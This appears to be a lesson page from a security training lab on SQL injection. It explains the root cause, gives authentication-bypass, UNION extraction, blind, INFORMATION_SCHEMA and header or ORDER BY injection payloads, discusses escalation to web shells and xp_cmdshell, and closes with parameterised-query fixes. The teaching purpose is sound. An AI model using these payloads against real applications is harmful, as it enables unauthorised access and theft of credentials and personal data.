Master the mechanics of SQL injection — from how concatenated queries break, through authentication bypass, UNION-based data extraction, blind techniques, and INFORMATION_SCHEMA enumeration — with the root-cause understanding and defensive countermeasures that contextualise every technique.
SQL Injection — The Root Cause
SQL injection is one of the oldest and most consistently exploited vulnerability classes in web application security, appearing in breach reports and vulnerability databases every year since the late 1990s. It occurs when user-supplied input is incorporated into a database query without being properly separated from the query's structure — allowing an attacker to alter the query's logic by injecting SQL syntax as data.
The fundamental issue is a conflation of code and data. When an application builds a query by string concatenation — joining the user's input directly into a SQL statement — the database engine receives a single string and has no way to distinguish which parts of it are the intended query and which parts are attacker-injected instructions. The engine faithfully executes whatever it receives.
Imagine a company's mail room that processes instructions in the format: "Deliver the package labelled [name] to the recipient." A normal request fills in the name: "Deliver the package labelled 'Alice' to the recipient." A SQL injection is like writing in the name field: "Alice' and also deliver all other packages to this address and ignore the rest of this sentence --". The mail room staff, following the written instruction literally, carry out the injected commands because they have no way to distinguish the original instruction from the injected ones — it all looks like one instruction to them. Parameterised queries are the equivalent of using a pre-printed form where the recipient's name can only go in a designated box and cannot affect the instruction text around it.
# Application code (PHP) building a query by concatenation: VULNERABLE: $query = "SELECT * FROM users WHERE username='" . $_POST['username'] . "' AND password='" . $_POST['password'] . "'"; # Normal input → syntactically valid query: SELECT * FROM users WHERE username='alice' AND password='secret' # Injection input → broken query logic: username: admin'-- SELECT * FROM users WHERE username='admin'--' AND password='x' # -- comments out the rest → logs in as admin with any password
Why SQLi Remains Common Despite Decades of Awareness
SQL injection has been documented since 1998 and has been in the OWASP Top 10 since the list was created. Every developer training programme covers it. And yet it remains one of the most frequently confirmed findings in web application penetration tests. Understanding why illuminates both the persistence of the vulnerability and where defenders should focus energy.
The primary reasons for persistence: legacy codebases written before parameterised queries were widely understood or easily available in the frameworks of the time; ORMs (Object-Relational Mappers) that use raw query escape hatches for complex queries — the ORM handles 95% of queries safely but a developer manually constructs the last 5% for performance or complexity reasons; and new developers joining projects who don't recognise the vulnerable pattern when they encounter it in existing code or add new functionality without understanding the security requirement.
How SQL Injection Breaks Query Logic
SQL injection works by injecting characters that have special meaning in SQL syntax — primarily single quotes (which terminate string literals), double dashes or hash symbols (which start comments), and SQL keywords (UNION, SELECT, OR, AND) — to restructure the query the application intended to run into a different query the attacker chooses.
The three most important characters for basic SQLi testing are: the single quote ' (terminates a string context), the double dash -- followed by a space (starts a SQL comment, ignoring everything after it in MySQL/MSSQL), and the hash # (MySQL comment character, useful when -- is filtered). Understanding exactly what these do to the query structure is more important than memorising payloads.
SQL Injection Techniques
Classic login bypass using comment injection to ignore the password check. Understanding what happens to the SQL query structure is more important than the specific payload.
# Username field input: admin'-- # OR: ' OR '1'='1 # OR (MySQL): admin'# # Resulting query always returns true → login bypassed
UNION injection appends a second SELECT to the original query, returning data from other tables alongside the intended results. Requires knowing the number of columns and matching data types.
# Step 1: Find number of columns ?id=1 ORDER BY 3-- works → 3+ columns ?id=1 ORDER BY 4-- error → exactly 3 columns # Step 2: Extract database version ?id=1 UNION SELECT 1,version(),3-- 8.0.32-MySQL Community Server # Step 3: Extract usernames and passwords ?id=1 UNION SELECT 1,username,password FROM users-- admin | 5f4dcc3b5aa765d61d8327deb882cf99
When no data is returned directly, boolean or time-based inference reveals information one bit at a time. This is slower but works against applications that suppress all query output.
# Boolean blind: true condition → normal page ?id=1 AND 1=1-- → normal response ?id=1 AND 1=2-- → different response → confirmed injectable # Time-based blind: delays confirm injection ?id=1 AND SLEEP(5)-- # If response takes 5 seconds → injectable
MySQL's INFORMATION_SCHEMA contains metadata about all tables and columns — a goldmine for mapping the database structure before targeting specific tables.
# List all databases UNION SELECT 1,schema_name,3 FROM information_schema.schemata-- # List tables in a database UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schema='shopdb'-- users | orders | products | payment_cards
What You Need to Know
Where SQL Injection Hides — Beyond the URL Parameter
Students learning SQL injection often fixate on the classic URL parameter injection (?id=1') and miss the full range of contexts where unsanitised input reaches a SQL query. A thorough assessment tests every channel through which user-controlled data enters the application — not just obvious GET parameters.
- POST body parameters: Login forms, search forms, profile update fields, and API endpoints that accept JSON or form-encoded bodies. These are often missed by automated scanners that focus on GET parameters.
- HTTP headers: The User-Agent, X-Forwarded-For, Cookie, and Referer headers are sometimes logged into database tables or used in queries without sanitisation — particularly common in analytics, audit logging, and A/B testing code.
- Path parameters: REST API paths like
/api/users/[id]where the path segment itself is incorporated into a query. - Search functionality: Full-text search often uses dynamically constructed LIKE queries that are vulnerable to injection.
- Order/sort parameters: Column ordering parameters (
?sort=name&order=asc) are frequently built into ORDER BY clauses without parameterisation — because parameterised queries cannot parameterise column names, only values, forcing developers to build these dynamically.
Two injection contexts that automated scanners frequently miss — injecting through HTTP headers and through sort/order parameters that cannot be safely parameterised.
--- HTTP header injection (X-Forwarded-For logged to DB) --- curl -H "X-Forwarded-For: 1.1.1.1' AND SLEEP(5)-- " https://target.com/api/data # If the application logs X-Forwarded-For to the database without sanitisation, # the SLEEP(5) fires on the DB server — confirming header injection --- ORDER BY injection (column name cannot be parameterised) --- Vulnerable code: ORDER BY " . $_GET['sort'] . " " . $_GET['order'] # Cannot use a prepared statement for ORDER BY column name # Test injection point: ?sort=name&order=asc,(SELECT SLEEP(5)) # 5-second delay = injectable ORDER BY clause # Fix: whitelist allowed column names and sort directions explicitly: $allowed = ['name','date','price']; if(!in_array($sort, $allowed)) $sort = 'name';
From Data Breach to Server Compromise — Impact Tiers
SQL injection findings span a wide range of impact depending on the database user's privileges, the database platform, and the server configuration. Understanding the full impact spectrum allows practitioners to accurately communicate severity and prioritise remediation correctly.
Any authenticated or unauthenticated user can extract data from any accessible table. This includes: user credentials and password hashes, PII subject to regulatory protection (GDPR, HIPAA, PCI-DSS), session tokens enabling account takeover without credentials, API keys and application secrets stored in configuration tables.
Every SQLi finding achieves at minimum Tier 1 impact — it is the baseline.
When the DB user has UPDATE or DELETE privileges (common for web application accounts), SQLi enables: modifying account details or balances, deleting records to cover tracks, altering application logic stored in DB tables (pricing, permissions, feature flags), and inserting new administrator accounts.
MySQL with FILE privilege (uncommon but present in misconfigured environments) enables reading server files (LOAD_FILE) and writing web shells (INTO OUTFILE). This escalates from database compromise to arbitrary file read and web-accessible code execution on the server.
MSSQL's xp_cmdshell stored procedure, when enabled, executes OS commands as the SQL Server service account — typically NETWORK SERVICE or SYSTEM on Windows. This is full server compromise from a web-layer injection point. CVSS 9.8+ and immediate escalation to Critical in any report.
A junior assessor finds SQL injection in a search endpoint on a product catalogue page. The injectable parameter returns product names — public information with no apparent sensitive content. They rate it Medium based on the data accessible through that specific injection point.
A senior reviewer notes that the injection uses UNION SELECT. They extend the test: UNION SELECT into information_schema reveals a users table in a different schema on the same database server. The same DB user the product catalogue query runs as has SELECT access across all schemas on the server. Within the users table: 47,000 customer email addresses, bcrypt hashed passwords, and full payment card data (stored in violation of PCI-DSS).
The finding is not Medium. It never was. The impact of a SQL injection vulnerability is not determined by what the specific injection point displays by default — it is determined by what the database user can access across the entire server. Always test horizontal access: what other schemas, tables, and data are reachable from the DB user's perspective, not just from the application's intended query.
Prevention — Why Parameterised Queries Are the Only Real Fix
SQL injection has exactly one reliable prevention: parameterised queries (prepared statements). Everything else — input validation, escaping, WAFs — provides supplementary defence but cannot be relied upon as the primary control. Understanding why parameterisation works where other approaches fail is essential for giving accurate remediation guidance.
How Parameterised Queries Work
A parameterised query separates the query structure from the data by construction. The query template (with placeholder markers for values) is compiled by the database engine first, establishing the query's logical structure before any user data is involved. The data values are then sent separately and substituted into the compiled structure. The engine never re-parses the data as SQL — no matter what characters it contains, it is treated as a literal value.
--- PHP (PDO) --- SECURE: $stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?"); $stmt->execute([$username, $password]); --- Python (sqlite3 / psycopg2) --- SECURE: cursor.execute("SELECT * FROM users WHERE username=%s AND password=%s", (username, password)) --- Java (JDBC) --- SECURE: PreparedStatement ps = conn.prepareStatement( "SELECT * FROM users WHERE username=? AND password=?"); ps.setString(1, username); ps.setString(2, password); --- Node.js (mysql2) --- SECURE: connection.query("SELECT * FROM users WHERE username=? AND password=?", [username, password])
Why Escaping Alone Fails
Many developers believe that "sanitising" or "escaping" user input — adding backslashes before quotes, stripping certain characters — is sufficient to prevent SQL injection. This approach has proven repeatedly to be inadequate for three reasons:
- Encoding bypasses: Applications with multi-byte character set handling (particularly older PHP + MySQL combinations with specific character set configurations) can be tricked into processing an escape backslash as the second byte of a multi-byte character, leaving the subsequent quote unescaped.
- Context-dependent escaping: Different parts of a SQL query need different escaping — string literals, numeric contexts, and column names each have different injection characters. A single escaping function that works for string literals fails for numeric contexts (where quotes aren't the issue — just raw integer injection).
- Developer error: Manual escaping requires every developer to consistently apply it to every query, every time. A single oversight produces a vulnerability. Parameterised queries are correct by construction — the developer cannot forget to parameterise a specific value because the parameterisation is structural.
Core Concepts Summary
You've covered the theory. Now apply it hands-on in the simulated environment.
Start Lab — SQLi→← Return to all labs